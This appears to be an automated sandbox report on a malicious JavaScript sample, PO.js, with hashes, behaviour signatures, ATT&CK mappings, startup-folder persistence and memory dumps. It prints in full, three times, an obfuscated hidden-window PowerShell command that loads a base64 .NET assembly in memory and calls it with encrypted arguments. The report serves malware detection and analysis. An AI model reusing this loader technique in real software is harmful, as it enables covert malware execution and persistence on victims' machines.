afc97f23f9958ee4d35eec1b3716768a9a5d046725b77530b53f8713ec31509e

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 18:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PO.js
Size 38.7MB
Sample260909-wp4ckadc49
SHA256 afc97f23f9958ee4d35eec1b3716768a9a5d046725b77530b53f8713ec31509e
MD5 9eceadab31c21a3997284153eef5d01d
SHA1 0bbbf2481f0eb2d98b8b472889d1d03741cba48f
SHA512 05f4f58f2eeaf3bc93136ec152ad7d684de2b4a4488c9a18e28e3adf7708f522e4a7312325128a9990106abfd5afe6182e858fd245fa2dc3d4a2edd665d45f05
SSDEEP 3072:ylREC7NdirchN3ufhtwNRmmktv7BzYtFJ1utOrcxsOrp98a+pDrMHJ/0T5jm6JEo:C
TLSH
T19697570459AD8137F165F8C24701BAB8149D5FE3083F4D4CD9BB069A85BFFA7887AD22
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence privilege_escalation

Malware Config

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5288	2860	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1432	2860	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1460	2860	powershell.exe	89

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5288	powershell.exe
6	1432	powershell.exe
7	1460	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1432	powershell.exe
1460	powershell.exe
5288	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PO.js	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5288	powershell.exe
5288	powershell.exe
1432	powershell.exe
1432	powershell.exe
1460	powershell.exe
1460	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5288	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1460	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PO.js
1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:1680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1460

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 aa50207b514c57cc98aa23aec10f7d95033108a669754586b0f4aefcd1128362
MD5 ff98ff1598ecf2bd33dd164f73c6361c
SHA1 08bd3e5a80b3805453029d335cbae4838a5fc540
SHA512 34f793b75fde83ea34e6f26973a8abcc2d8d4b76855edaa2f679a0f8f87b8be42b00e7abe7504f7e3bf75c1e699b86e7a8dd42cc90830c68e133c6252f0a7b4f
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_ynkow4vm.mc3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ynkow4vm.mc3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5288-10-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-12-0x000001DFE3030000-0x000001DFE3102000-memory.dmp

Download

memory/5288-7-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-8-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-9-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-0-0x00007FF84476F000-0x00007FF844770000-memory.dmp

Download

memory/5288-11-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-6-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-14-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-13-0x000001DFE3100000-0x000001DFE310A000-memory.dmp

Download

memory/5288-15-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-17-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-5-0x000001DFE4D60000-0x000001DFE4D82000-memory.dmp

Download

memory/5288-2-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download

memory/5288-1-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

Download